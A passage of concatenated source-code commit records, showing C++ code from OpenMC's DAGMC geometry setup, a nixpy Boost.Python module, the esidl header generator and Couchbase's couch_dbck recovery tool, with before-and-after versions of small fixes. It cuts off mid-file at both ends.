prop_keywords.push_back(\"mat\");\n\n std::map<std::string, std::string> ph;\n DAGMC->parse_properties(prop_keywords, ph, \":\");\n MB_CHK_ERR_CONT(rval);\n \n \/\/ initialize cell objects\n openmc::n_cells = DAGMC->num_entities(3);\n for(int i = 0; i < openmc::n_cells; i++)\n {\n moab::EntityHandle vol_handle = DAGMC->entity_by_index(3, i+1); \n \/\/ set cell ids using global IDs\n openmc::CADCell* c = new openmc::CADCell();\n c->id_ = DAGMC->id_by_index(3, i+1);\n c->dagmc_ptr = DAGMC;\n c->universe_ = cad_univ_id; \/\/ set to zero for now\n\n if(DAGMC->has_prop(vol_handle, \"mat\")){\n\tstd::string mat_value;\n\t\n\trval = DAGMC->prop_value(vol_handle, \"mat\", mat_value);\n\tMB_CHK_ERR_CONT(rval);\t\n\tint mat_id = std::stoi(mat_value);\n\tc->material_.push_back(mat_id);\n }\n else {\n\tc->material_.push_back(40); \/\/ TO-DO: add void material here\n }\n \n c->fill_ = openmc::C_NONE;\n openmc::global_cells.push_back(c);\n openmc::cell_map[c->id_] = c->id_;\n\n \/\/ Populate the Universe vector and dict\n auto it = openmc::universe_map.find(cad_univ_id);\n if (it == openmc::universe_map.end()) {\n\topenmc::global_universes.push_back(new openmc::Universe());\n\topenmc::global_universes.back()-> id = cad_univ_id;\n\topenmc::global_universes.back()->cells.push_back(i);\n\topenmc::universe_map[cad_univ_id] = openmc::global_universes.size() - 1;\n }\n else {\n\topenmc::global_universes[it->second]->cells.push_back(i);\n }\n }\n\n \/\/ initialize surface objects\n openmc::n_surfaces = DAGMC->num_entities(2);\n openmc::surfaces_c = new openmc::Surface*[openmc::n_surfaces];\n \n for(int i = 0; i < openmc::n_surfaces; i++)\n {\n \/\/ set cell ids using global IDs\n openmc::CADSurface* s = new openmc::CADSurface();\n s->id = DAGMC->id_by_index(2, i+1);\n s->dagmc_ptr = DAGMC;\n s->bc = openmc::BC_TRANSMIT;\n openmc::surfaces_c[i] = s;\n openmc::surface_map[s->id] = s->id;\n }\n\n return;\n}\n\nvoid free_memory_cad_c()\n{\n delete DAGMC;\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <boost\/python.hpp>\n#include <boost\/optional\/optional.hpp>\n\n#include <nix.hpp>\n#include <transmorgify.hpp>\n#include <accessors.hpp>\n\n#include <PyEntity.hpp>\n\nusing namespace boost::python;\nusing namespace nix;\nusing namespace base;\nusing namespace nixpy;\n\n\n\n\nBOOST_PYTHON_MODULE(core)\n{\n PyFile::do_export();\n\n PySection::do_export();\n PyProperty::do_export();\n PyValue::do_export();\n\n PyBlock::do_export();\n PySource::do_export();\n PyDataArray::do_export();\n PyDimensions::do_export();\n\n PyEntityWithSources<ISimpleTag>::do_export(\"SimpleTag\");\n class_<SimpleTag, bases<EntityWithSources<ISimpleTag>>>(\"SimpleTag\");\n to_python_converter<std::vector<SimpleTag>, vector_transmogrify<SimpleTag>>();\n to_python_converter<boost::optional<SimpleTag>, option_transmogrify<SimpleTag>>();\n\n PyEntityWithSources<IDataTag>::do_export(\"DataTag\");\n class_<DataTag, bases<EntityWithSources<IDataTag>>>(\"DataTag\");\n to_python_converter<std::vector<DataTag>, vector_transmogrify<DataTag>>();\n to_python_converter<boost::optional<DataTag>, option_transmogrify<DataTag>>();\n\n class_<Feature>(\"Feature\");\n\n \/\/ TODO enum class LinkType\n\n to_python_converter<boost::optional<std::string>, option_transmogrify<std::string>>();\n option_transmogrify<std::string>::register_from_python();\n\n to_python_converter<std::vector<std::string>, vector_transmogrify<std::string>>();\n vector_transmogrify<std::string>::register_from_python();\n\n to_python_converter<std::vector<double>, vector_transmogrify<double>>();\n vector_transmogrify<double>::register_from_python();\n\n to_python_converter<boost::optional<double>, option_transmogrify<double>>();\n option_transmogrify<double>::register_from_python();\n}\n<commit_msg>core: configure doc strings<commit_after>#include <boost\/python.hpp>\n#include <boost\/optional\/optional.hpp>\n\n#include <nix.hpp>\n#include <transmorgify.hpp>\n#include <accessors.hpp>\n\n#include <PyEntity.hpp>\n\nusing namespace boost::python;\nusing namespace nix;\nusing namespace base;\nusing namespace nixpy;\n\n\n\n\nBOOST_PYTHON_MODULE(core)\n{\n \/\/ set options for doc strings\n \/\/ show user defined \/ show py signatures \/ don't show cpp signatures\n docstring_options local_docstring_options(true, true, false);\n\n PyFile::do_export();\n\n PySection::do_export();\n PyProperty::do_export();\n PyValue::do_export();\n\n PyBlock::do_export();\n PySource::do_export();\n PyDataArray::do_export();\n PyDimensions::do_export();\n\n PyEntityWithSources<ISimpleTag>::do_export(\"SimpleTag\");\n class_<SimpleTag, bases<EntityWithSources<ISimpleTag>>>(\"SimpleTag\");\n to_python_converter<std::vector<SimpleTag>, vector_transmogrify<SimpleTag>>();\n to_python_converter<boost::optional<SimpleTag>, option_transmogrify<SimpleTag>>();\n\n PyEntityWithSources<IDataTag>::do_export(\"DataTag\");\n class_<DataTag, bases<EntityWithSources<IDataTag>>>(\"DataTag\");\n to_python_converter<std::vector<DataTag>, vector_transmogrify<DataTag>>();\n to_python_converter<boost::optional<DataTag>, option_transmogrify<DataTag>>();\n\n class_<Feature>(\"Feature\");\n\n \/\/ TODO enum class LinkType\n\n to_python_converter<boost::optional<std::string>, option_transmogrify<std::string>>();\n option_transmogrify<std::string>::register_from_python();\n\n to_python_converter<std::vector<std::string>, vector_transmogrify<std::string>>();\n vector_transmogrify<std::string>::register_from_python();\n\n to_python_converter<std::vector<double>, vector_transmogrify<double>>();\n vector_transmogrify<double>::register_from_python();\n\n to_python_converter<boost::optional<double>, option_transmogrify<double>>();\n option_transmogrify<double>::register_from_python();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2008, 2009 Google Inc.\n * Copyright 2007 Nintendo Co., Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"cplusplus.h\"\n#include \"info.h\"\n\nclass Cxx : public CPlusPlus\n{\n void visitInterfaceElement(const Interface* interface, Node* element)\n {\n if (element->isSequence(interface) || element->isNative(interface))\n {\n return;\n }\n optionalStage = 0;\n do\n {\n optionalCount = 0;\n writetab();\n element->accept(this);\n write(\";\\n\");\n ++optionalStage;\n } while (optionalStage <= optionalCount);\n }\n\npublic:\n Cxx(FILE* file, const char* stringTypeName = \"char*\", bool useExceptions = true) :\n CPlusPlus(file, stringTypeName, useExceptions)\n {\n }\n\n virtual void at(const StructType* node)\n {\n if (node->getJavadoc().size())\n {\n write(\"%s\\n\", node->getJavadoc().c_str());\n writetab();\n }\n write(\"struct %s\", node->getName().c_str());\n if (!node->isLeaf())\n {\n writeln(\"\");\n writeln(\"{\");\n indent();\n printChildren(node);\n unindent();\n writetab();\n write(\"}\");\n }\n }\n\n virtual void at(const ExceptDcl* node)\n {\n if (node->getJavadoc().size())\n {\n write(\"%s\\n\", node->getJavadoc().c_str());\n writetab();\n }\n write(\"struct %s\", node->getName().c_str());\n writeln(\"\");\n writeln(\"{\");\n indent();\n printChildren(node);\n unindent();\n writetab();\n write(\"}\");\n }\n\n virtual void at(const Interface* node)\n {\n if (node->getJavadoc().size())\n {\n write(\"%s\\n\", node->getJavadoc().c_str());\n writetab();\n }\n write(\"class %s\", node->getName().c_str());\n if (node->getExtends())\n {\n write(\" : \");\n prefix = \"public \";\n node->getExtends()->accept(this);\n prefix = \"\";\n }\n if (!node->isLeaf())\n {\n writeln(\"\");\n writeln(\"{\");\n writeln(\"public:\");\n indent();\n\n for (NodeList::iterator i = node->begin(); i != node->end(); ++i)\n {\n visitInterfaceElement(node, *i);\n }\n\n \/\/ Expand mixins\n for (std::list<const Interface*>::const_iterator i = node->getMixins()->begin();\n i != node->getMixins()->end();\n ++i)\n {\n writeln(\"\/\/ %s\", (*i)->getName().c_str());\n for (NodeList::iterator j = (*i)->begin(); j != (*i)->end(); ++j)\n {\n visitInterfaceElement(*i, *j);\n }\n }\n\n writeln(\"static const char* iid()\");\n writeln(\"{\");\n indent();\n writeln(\"static const char* const name = \\\"%s\\\";\",\n node->getQualifiedName().c_str());\n writeln(\"return name;\");\n unindent();\n writeln(\"}\");\n\n writeln(\"static const char* info()\");\n writeln(\"{\");\n indent();\n writetab();\n write(\"static const char* const info = \");\n indent();\n Info info(this, moduleName);\n const_cast<Interface*>(node)->accept(&info);\n write(\";\\n\");\n unindent();\n writeln(\"return info;\");\n unindent();\n writeln(\"}\");\n\n if (Interface* constructor = node->getConstructor())\n {\n \/\/ Process constructors.\n constructorMode = true;\n for (NodeList::iterator i = constructor->begin();\n i != constructor->end();\n ++i)\n {\n writetab();\n (*i)->accept(this);\n }\n constructorMode = false;\n writeln(\"static Constructor* getConstructor()\");\n writeln(\"{\");\n indent();\n writeln(\"return constructor;\");\n unindent();\n writeln(\"}\");\n writeln(\"static void setConstructor(Constructor* ctor)\");\n writeln(\"{\");\n indent();\n writeln(\"constructor = ctor;\");\n unindent();\n writeln(\"}\");\n unindent();\n writeln(\"private:\");\n indent();\n writeln(\"static Constructor* constructor;\");\n }\n\n unindent();\n writetab();\n write(\"}\");\n }\n\n if (node->getConstructor())\n {\n write(\";\\n\\n\");\n writetab();\n write(\"%s::Constructor* %s::constructor __attribute__((weak))\",\n node->getName().c_str(), node->getName().c_str());\n }\n }\n\n virtual void at(const NativeType* node)\n {\n if (node->getName() == \"void_pointer\")\n {\n write(\"void*\");\n }\n else\n {\n write(\"%s\", node->getName().c_str());\n }\n }\n\n virtual void at(const BinaryExpr* node)\n {\n node->getLeft()->accept(this);\n write(\" %s \", node->getName().c_str());\n node->getRight()->accept(this);\n }\n\n virtual void at(const UnaryExpr* node)\n {\n write(\"%s\", node->getName().c_str());\n NodeList::iterator elem = node->begin();\n (*elem)->accept(this);\n }\n\n virtual void at(const GroupingExpression* node)\n {\n write(\"(\");\n NodeList::iterator elem = node->begin();\n (*elem)->accept(this);\n write(\")\");\n }\n\n virtual void at(const Literal* node)\n {\n if (node->getName() == \"TRUE\")\n {\n write(\"true\");\n }\n else if (node->getName() == \"FALSE\")\n {\n write(\"false\");\n }\n else\n {\n write(\"%s\", node->getName().c_str());\n }\n }\n\n virtual void at(const Member* node)\n {\n if (node->isTypedef(node->getParent()))\n {\n write(\"typedef \");\n }\n if (node->isInterface(node->getParent()))\n {\n node->getSpec()->accept(this);\n write(\" %s\", node->getName().c_str());\n }\n else\n {\n node->getSpec()->accept(this);\n write(\" %s\", node->getName().c_str());\n }\n }\n\n virtual void at(const ArrayDcl* node)\n {\n assert(!node->isLeaf());\n\n at(static_cast<const Member*>(node));\n for (NodeList::iterator i = node->begin(); i != node->end(); ++i)\n {\n write(\"[\");\n (*i)->accept(this);\n write(\"]\");\n }\n }\n\n virtual void at(const ConstDcl* node)\n {\n if (node->getJavadoc().size())\n {\n write(\"%s\\n\", node->getJavadoc().c_str());\n writetab();\n }\n write(\"static const \");\n at(static_cast<const Member*>(node));\n write(\" = \");\n node->getExp()->accept(this);\n }\n\n virtual void at(const Attribute* node)\n {\n if (node->getJavadoc().size())\n {\n write(\"%s\\n\", node->getJavadoc().c_str());\n writetab();\n }\n\n \/\/ getter\n CPlusPlus::getter(node);\n write(\" = 0\");\n\n if (!node->isReadonly() || node->isPutForwards() || node->isReplaceable())\n {\n \/\/ setter\n write(\";\\n\");\n writetab();\n CPlusPlus::setter(node);\n write(\" = 0\");\n }\n }\n\n virtual void at(const OpDcl* node)\n {\n if (node->getJavadoc().size())\n {\n write(\"%s\\n\", node->getJavadoc().c_str());\n writetab();\n }\n\n CPlusPlus::at(node);\n\n if (!constructorMode)\n {\n write(\" = 0\");\n }\n else\n {\n writeln(\"\");\n writeln(\"{\");\n indent();\n writeln(\"if (constructor)\");\n indent();\n writetab();\n write(\"constructor->createInstance(\");\n for (NodeList::iterator i = node->begin(); i != node->end(); ++i)\n {\n if (i != node->begin())\n {\n write(\", \");\n }\n write(\"%s\", (*i)->getName().c_str());\n }\n write(\");\");\n writeln(\"\");\n unindent();\n unindent();\n writeln(\"}\");\n }\n }\n};\n\nclass Import : public Visitor\n{\n FILE* file;\n bool printed;\n\npublic:\n Import(FILE* file) :\n file(file),\n printed(false)\n {\n }\n\n virtual void at(const Node* node)\n {\n if (1 < node->getRank())\n {\n return;\n }\n visitChildren(node);\n }\n\n virtual void at(const Include* node)\n {\n if (1 < node->getRank())\n {\n return;\n }\n if (node->isSystem())\n {\n fprintf(file, \"#include <%s>\\n\", getOutputFilename(node->getName().c_str(), \"h\").c_str());\n }\n else\n {\n fprintf(file, \"#include \\\"%s\\\"\\n\", getOutputFilename(node->getName().c_str(), \"h\").c_str());\n }\n printed = true;\n }\n\n bool hasPrinted() const\n {\n return printed;\n }\n};\n\nclass Predeclaration : public Visitor\n{\n FILE* file;\n\npublic:\n Predeclaration(FILE* file) :\n file(file)\n {\n }\n\n virtual void at(const Node* node)\n {\n if (1 < node->getRank())\n {\n return;\n }\n visitChildren(node);\n }\n\n virtual void at(const Module* node)\n {\n if (!node->hasPredeclarations())\n {\n return;\n }\n if (0 < node->getName().size())\n {\n fprintf(file, \"namespace %s\\n\", node->getName().c_str());\n fprintf(file, \"{\\n\");\n visitChildren(node);\n fprintf(file, \"}\\n\\n\");\n }\n else\n {\n visitChildren(node);\n }\n }\n\n virtual void at(const Interface* node)\n {\n if (1 < node->getRank() || !node->isLeaf())\n {\n return;\n }\n fprintf(file, \" class %s;\\n\", node->getName().c_str());\n }\n};\n\nvoid printCxx(const std::string& filename, const char* stringTypeName, bool useExceptions)\n{\n printf(\"# %s\\n\", filename.c_str());\n\n FILE* file = fopen(filename.c_str(), \"w\");\n if (!file)\n {\n return;\n }\n\n std::string included = getIncludedName(filename);\n fprintf(file, \"\/\/ Generated by esidl %s.\\n\\n\", VERSION);\n fprintf(file, \"#ifndef %s\\n\", included.c_str());\n fprintf(file, \"#define %s\\n\\n\", included.c_str());\n\n Import import(file);\n getSpecification()->accept(&import);\n if (import.hasPrinted())\n {\n fprintf(file, \"\\n\");\n }\n\n if (!Node::getFlatNamespace())\n {\n Predeclaration predeclaration(file);\n getSpecification()->accept(&predeclaration);\n }\n\n Cxx cxx(file, stringTypeName, useExceptions);\n getSpecification()->accept(&cxx);\n\n fprintf(file, \"#endif \/\/ %s\\n\", included.c_str());\n\n fclose(file);\n}\n<commit_msg>(createInstance) : Return 0 if constructor is not set.<commit_after>\/*\n * Copyright 2008, 2009 Google Inc.\n * Copyright 2007 Nintendo Co., Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"cplusplus.h\"\n#include \"info.h\"\n\nclass Cxx : public CPlusPlus\n{\n void visitInterfaceElement(const Interface* interface, Node* element)\n {\n if (element->isSequence(interface) || element->isNative(interface))\n {\n return;\n }\n optionalStage = 0;\n do\n {\n optionalCount = 0;\n writetab();\n element->accept(this);\n write(\";\\n\");\n ++optionalStage;\n } while (optionalStage <= optionalCount);\n }\n\npublic:\n Cxx(FILE* file, const char* stringTypeName = \"char*\", bool useExceptions = true) :\n CPlusPlus(file, stringTypeName, useExceptions)\n {\n }\n\n virtual void at(const StructType* node)\n {\n if (node->getJavadoc().size())\n {\n write(\"%s\\n\", node->getJavadoc().c_str());\n writetab();\n }\n write(\"struct %s\", node->getName().c_str());\n if (!node->isLeaf())\n {\n writeln(\"\");\n writeln(\"{\");\n indent();\n printChildren(node);\n unindent();\n writetab();\n write(\"}\");\n }\n }\n\n virtual void at(const ExceptDcl* node)\n {\n if (node->getJavadoc().size())\n {\n write(\"%s\\n\", node->getJavadoc().c_str());\n writetab();\n }\n write(\"struct %s\", node->getName().c_str());\n writeln(\"\");\n writeln(\"{\");\n indent();\n printChildren(node);\n unindent();\n writetab();\n write(\"}\");\n }\n\n virtual void at(const Interface* node)\n {\n if (node->getJavadoc().size())\n {\n write(\"%s\\n\", node->getJavadoc().c_str());\n writetab();\n }\n write(\"class %s\", node->getName().c_str());\n if (node->getExtends())\n {\n write(\" : \");\n prefix = \"public \";\n node->getExtends()->accept(this);\n prefix = \"\";\n }\n if (!node->isLeaf())\n {\n writeln(\"\");\n writeln(\"{\");\n writeln(\"public:\");\n indent();\n\n for (NodeList::iterator i = node->begin(); i != node->end(); ++i)\n {\n visitInterfaceElement(node, *i);\n }\n\n \/\/ Expand mixins\n for (std::list<const Interface*>::const_iterator i = node->getMixins()->begin();\n i != node->getMixins()->end();\n ++i)\n {\n writeln(\"\/\/ %s\", (*i)->getName().c_str());\n for (NodeList::iterator j = (*i)->begin(); j != (*i)->end(); ++j)\n {\n visitInterfaceElement(*i, *j);\n }\n }\n\n writeln(\"static const char* iid()\");\n writeln(\"{\");\n indent();\n writeln(\"static const char* const name = \\\"%s\\\";\",\n node->getQualifiedName().c_str());\n writeln(\"return name;\");\n unindent();\n writeln(\"}\");\n\n writeln(\"static const char* info()\");\n writeln(\"{\");\n indent();\n writetab();\n write(\"static const char* const info = \");\n indent();\n Info info(this, moduleName);\n const_cast<Interface*>(node)->accept(&info);\n write(\";\\n\");\n unindent();\n writeln(\"return info;\");\n unindent();\n writeln(\"}\");\n\n if (Interface* constructor = node->getConstructor())\n {\n \/\/ Process constructors.\n constructorMode = true;\n for (NodeList::iterator i = constructor->begin();\n i != constructor->end();\n ++i)\n {\n writetab();\n (*i)->accept(this);\n }\n constructorMode = false;\n writeln(\"static Constructor* getConstructor()\");\n writeln(\"{\");\n indent();\n writeln(\"return constructor;\");\n unindent();\n writeln(\"}\");\n writeln(\"static void setConstructor(Constructor* ctor)\");\n writeln(\"{\");\n indent();\n writeln(\"constructor = ctor;\");\n unindent();\n writeln(\"}\");\n unindent();\n writeln(\"private:\");\n indent();\n writeln(\"static Constructor* constructor;\");\n }\n\n unindent();\n writetab();\n write(\"}\");\n }\n\n if (node->getConstructor())\n {\n write(\";\\n\\n\");\n writetab();\n write(\"%s::Constructor* %s::constructor __attribute__((weak))\",\n node->getName().c_str(), node->getName().c_str());\n }\n }\n\n virtual void at(const NativeType* node)\n {\n if (node->getName() == \"void_pointer\")\n {\n write(\"void*\");\n }\n else\n {\n write(\"%s\", node->getName().c_str());\n }\n }\n\n virtual void at(const BinaryExpr* node)\n {\n node->getLeft()->accept(this);\n write(\" %s \", node->getName().c_str());\n node->getRight()->accept(this);\n }\n\n virtual void at(const UnaryExpr* node)\n {\n write(\"%s\", node->getName().c_str());\n NodeList::iterator elem = node->begin();\n (*elem)->accept(this);\n }\n\n virtual void at(const GroupingExpression* node)\n {\n write(\"(\");\n NodeList::iterator elem = node->begin();\n (*elem)->accept(this);\n write(\")\");\n }\n\n virtual void at(const Literal* node)\n {\n if (node->getName() == \"TRUE\")\n {\n write(\"true\");\n }\n else if (node->getName() == \"FALSE\")\n {\n write(\"false\");\n }\n else\n {\n write(\"%s\", node->getName().c_str());\n }\n }\n\n virtual void at(const Member* node)\n {\n if (node->isTypedef(node->getParent()))\n {\n write(\"typedef \");\n }\n if (node->isInterface(node->getParent()))\n {\n node->getSpec()->accept(this);\n write(\" %s\", node->getName().c_str());\n }\n else\n {\n node->getSpec()->accept(this);\n write(\" %s\", node->getName().c_str());\n }\n }\n\n virtual void at(const ArrayDcl* node)\n {\n assert(!node->isLeaf());\n\n at(static_cast<const Member*>(node));\n for (NodeList::iterator i = node->begin(); i != node->end(); ++i)\n {\n write(\"[\");\n (*i)->accept(this);\n write(\"]\");\n }\n }\n\n virtual void at(const ConstDcl* node)\n {\n if (node->getJavadoc().size())\n {\n write(\"%s\\n\", node->getJavadoc().c_str());\n writetab();\n }\n write(\"static const \");\n at(static_cast<const Member*>(node));\n write(\" = \");\n node->getExp()->accept(this);\n }\n\n virtual void at(const Attribute* node)\n {\n if (node->getJavadoc().size())\n {\n write(\"%s\\n\", node->getJavadoc().c_str());\n writetab();\n }\n\n \/\/ getter\n CPlusPlus::getter(node);\n write(\" = 0\");\n\n if (!node->isReadonly() || node->isPutForwards() || node->isReplaceable())\n {\n \/\/ setter\n write(\";\\n\");\n writetab();\n CPlusPlus::setter(node);\n write(\" = 0\");\n }\n }\n\n virtual void at(const OpDcl* node)\n {\n if (node->getJavadoc().size())\n {\n write(\"%s\\n\", node->getJavadoc().c_str());\n writetab();\n }\n\n CPlusPlus::at(node);\n\n if (!constructorMode)\n {\n write(\" = 0\");\n }\n else\n {\n writeln(\"\");\n writeln(\"{\");\n indent();\n writeln(\"if (constructor)\");\n indent();\n writetab();\n write(\"constructor->createInstance(\");\n for (NodeList::iterator i = node->begin(); i != node->end(); ++i)\n {\n if (i != node->begin())\n {\n write(\", \");\n }\n write(\"%s\", (*i)->getName().c_str());\n }\n write(\");\");\n writeln(\"\");\n unindent();\n writeln(\"else\");\n indent();\n writeln(\"return 0;\");\n unindent();\n unindent();\n writeln(\"}\");\n }\n }\n};\n\nclass Import : public Visitor\n{\n FILE* file;\n bool printed;\n\npublic:\n Import(FILE* file) :\n file(file),\n printed(false)\n {\n }\n\n virtual void at(const Node* node)\n {\n if (1 < node->getRank())\n {\n return;\n }\n visitChildren(node);\n }\n\n virtual void at(const Include* node)\n {\n if (1 < node->getRank())\n {\n return;\n }\n if (node->isSystem())\n {\n fprintf(file, \"#include <%s>\\n\", getOutputFilename(node->getName().c_str(), \"h\").c_str());\n }\n else\n {\n fprintf(file, \"#include \\\"%s\\\"\\n\", getOutputFilename(node->getName().c_str(), \"h\").c_str());\n }\n printed = true;\n }\n\n bool hasPrinted() const\n {\n return printed;\n }\n};\n\nclass Predeclaration : public Visitor\n{\n FILE* file;\n\npublic:\n Predeclaration(FILE* file) :\n file(file)\n {\n }\n\n virtual void at(const Node* node)\n {\n if (1 < node->getRank())\n {\n return;\n }\n visitChildren(node);\n }\n\n virtual void at(const Module* node)\n {\n if (!node->hasPredeclarations())\n {\n return;\n }\n if (0 < node->getName().size())\n {\n fprintf(file, \"namespace %s\\n\", node->getName().c_str());\n fprintf(file, \"{\\n\");\n visitChildren(node);\n fprintf(file, \"}\\n\\n\");\n }\n else\n {\n visitChildren(node);\n }\n }\n\n virtual void at(const Interface* node)\n {\n if (1 < node->getRank() || !node->isLeaf())\n {\n return;\n }\n fprintf(file, \" class %s;\\n\", node->getName().c_str());\n }\n};\n\nvoid printCxx(const std::string& filename, const char* stringTypeName, bool useExceptions)\n{\n printf(\"# %s\\n\", filename.c_str());\n\n FILE* file = fopen(filename.c_str(), \"w\");\n if (!file)\n {\n return;\n }\n\n std::string included = getIncludedName(filename);\n fprintf(file, \"\/\/ Generated by esidl %s.\\n\\n\", VERSION);\n fprintf(file, \"#ifndef %s\\n\", included.c_str());\n fprintf(file, \"#define %s\\n\\n\", included.c_str());\n\n Import import(file);\n getSpecification()->accept(&import);\n if (import.hasPrinted())\n {\n fprintf(file, \"\\n\");\n }\n\n if (!Node::getFlatNamespace())\n {\n Predeclaration predeclaration(file);\n getSpecification()->accept(&predeclaration);\n }\n\n Cxx cxx(file, stringTypeName, useExceptions);\n getSpecification()->accept(&cxx);\n\n fprintf(file, \"#endif \/\/ %s\\n\", included.c_str());\n\n fclose(file);\n}\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n * Copyright 2017 Couchbase, Inc\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"config.h\"\n#include \"couch_btree.h\"\n#include \"internal.h\"\n#include \"util.h\"\n\n#include <libcouchstore\/couch_db.h>\n#include <platform\/cb_malloc.h>\n\n#include <getopt.h>\n#include <inttypes.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include <iomanip>\n#include <string>\n#include <sstream>\n\nstatic void usage(void) {\n printf(\"USAGE: couch_dbck [options] \"\n \"source_filename [destination_filename]\\n\");\n printf(\"\\nOptions:\\n\");\n printf(\" -s, --stale \"\n \"Recover from stale commits if corruption detected.\\n\");\n printf(\" -v, --verbose \"\n \"Display detailed messages.\\n\");\n printf(\" -j, --json \"\n \"Display corrupt document info as JSON objects \"\n \"(one per line).\\n\");\n exit(EXIT_FAILURE);\n}\n\nstruct recovery_options {\n \/\/ Source file name.\n std::string src_filename;\n \/\/ Destination (recovered) file name.\n std::string dst_filename;\n \/\/ If set, check whether or not doc body is corrupted.\n bool detect_corrupt_docbody = true;\n \/\/ If set, recover using old data from stale commits.\n bool enable_rewind = false;\n \/\/ If set, print out detailed messages.\n bool verbose_msg = false;\n \/\/ If set, print verbose messages as JSON objects.\n bool json = false;\n};\n\nstruct recover_file_hook_param {\n \/\/ Number of documents referred to by index.\n uint64_t num_visited_docs = 0;\n \/\/ Number of corrupted documents.\n uint64_t num_corrupted_docs = 0;\n \/\/ Recovery options.\n recovery_options* options = nullptr;\n \/\/ DB handle for source file.\n Db* db_src = nullptr;\n};\n\nstd::string get_printable_string(const sized_buf& buf) {\n std::string ret;\n for (size_t i=0; i<buf.size; ++i) {\n if (0x20 <= buf.buf[i] && buf.buf[i] <= 0x7d) {\n \/\/ Printable character.\n ret += buf.buf[i];\n } else {\n \/\/ Otherwise: dump hex.\n std::stringstream ss;\n ss << \"(0x\" << std::setfill('0') << std::setw(2)\n << std::hex << static_cast<size_t>(buf.buf[i]) << \") \";\n ret += ss.str();\n }\n }\n return ret;\n}\n\nstatic int recover_file_hook(Db* target,\n DocInfo *docinfo,\n sized_buf item,\n void *ctx) {\n (void)item;\n recover_file_hook_param* param =\n reinterpret_cast<recover_file_hook_param*>(ctx);\n if (!docinfo) {\n \/\/ End of compaction.\n return 0;\n }\n\n param->num_visited_docs++;\n\n couchstore_error_t errcode;\n Doc* cur_doc;\n\n if (docinfo->deleted) {\n \/\/ Deleted doc.\n return 0;\n }\n\n \/\/ Open doc body.\n errcode = couchstore_open_doc_with_docinfo(\n param->db_src, docinfo, &cur_doc, 0x0);\n if (errcode != COUCHSTORE_SUCCESS) {\n \/\/ Document is corrupted.\n if (param->options->verbose_msg) {\n std::string fmt;\n if (param->options->json) {\n fmt = \"{\"\n R\"(\"type\":\"corrupted document\",)\"\n R\"(\"error code\":%d,)\"\n R\"(\"error message\":\"%s\",)\"\n R\"(\"id\":\"%s\",)\"\n R\"(\"bp\")\" \":%\" PRIu64 \",\"\n R\"(\"size\":%zu,)\"\n R\"(\"seq\")\" \":%\" PRIu64\n \"}\\n\";\n } else {\n fmt = \"Corrupted document \"\n \"(error code %d, %s): \"\n \"id '%s', \"\n \"bp %\" PRIu64 \", \"\n \"size %zu, \"\n \"seq %\" PRIu64\n \"\\n\";\n }\n\n fprintf(stdout, fmt.c_str(),\n errcode, couchstore_strerror(errcode),\n get_printable_string(docinfo->id).c_str(),\n docinfo->bp,\n docinfo->size,\n docinfo->db_seq);\n }\n param->num_corrupted_docs++;\n } else {\n couchstore_free_document(cur_doc);\n }\n\n return 0;\n}\n\nstruct rewind_request {\n \/\/ Recovery options.\n recovery_options* options = nullptr;\n \/\/ DB handle for source file.\n Db *db_src = nullptr;\n \/\/ DB handle for recovered file.\n Db *db_recovered = nullptr;\n \/\/ Total number of old documents recovered from all stale commits.\n uint64_t total_num_docs_recovered = 0;\n};\n\nstruct rewind_hook_param {\n \/\/ Recovery options.\n recovery_options* options = nullptr;\n \/\/ DB handle for source file.\n Db *db_src = nullptr;\n \/\/ DB handle for recovered file.\n Db *db_dst = nullptr;\n \/\/ Number of documents recovered from this specific commit.\n uint64_t num_docs_recovered = 0;\n};\n\nstatic int rewind_hook(Db *db,\n int depth,\n const DocInfo* doc_info,\n uint64_t subtree_size,\n const sized_buf* reduce_value,\n void *ctx) {\n rewind_hook_param* param =\n reinterpret_cast<rewind_hook_param*>(ctx);\n if (!doc_info) {\n return 0;\n }\n\n DocInfo* doc_info_dst;\n couchstore_error_t errcode;\n errcode = couchstore_docinfo_by_id(param->db_dst,\n doc_info->id.buf,\n doc_info->id.size,\n &doc_info_dst);\n if (errcode != COUCHSTORE_SUCCESS) {\n \/\/ The doc exists in stale commit (of corrupted file) only.\n \/\/ Copy it into the destination file.\n Doc* cur_doc;\n errcode = couchstore_open_doc_with_docinfo(\n param->db_src, (DocInfo*)doc_info, &cur_doc, 0x0);\n if (errcode != COUCHSTORE_SUCCESS) {\n return 0;\n }\n\n if (param->options->verbose_msg) {\n std::string fmt;\n if (param->options->json) {\n fmt = \"{\"\n R\"(\"type\":\"recovered document\",)\"\n R\"(\"id\":\"%s\",)\"\n R\"(\"bp\")\" \":%\" PRIu64 \",\"\n R\"(\"size\")\" \":%zu,\"\n R\"(\"seq\")\" \":%\" PRIu64\n \"}\\n\";\n } else {\n fmt = \"Recovered document '%s', \"\n \"prev bp %\" PRIu64 \", \"\n \"prev size %zu, \"\n \"prev seq num %\" 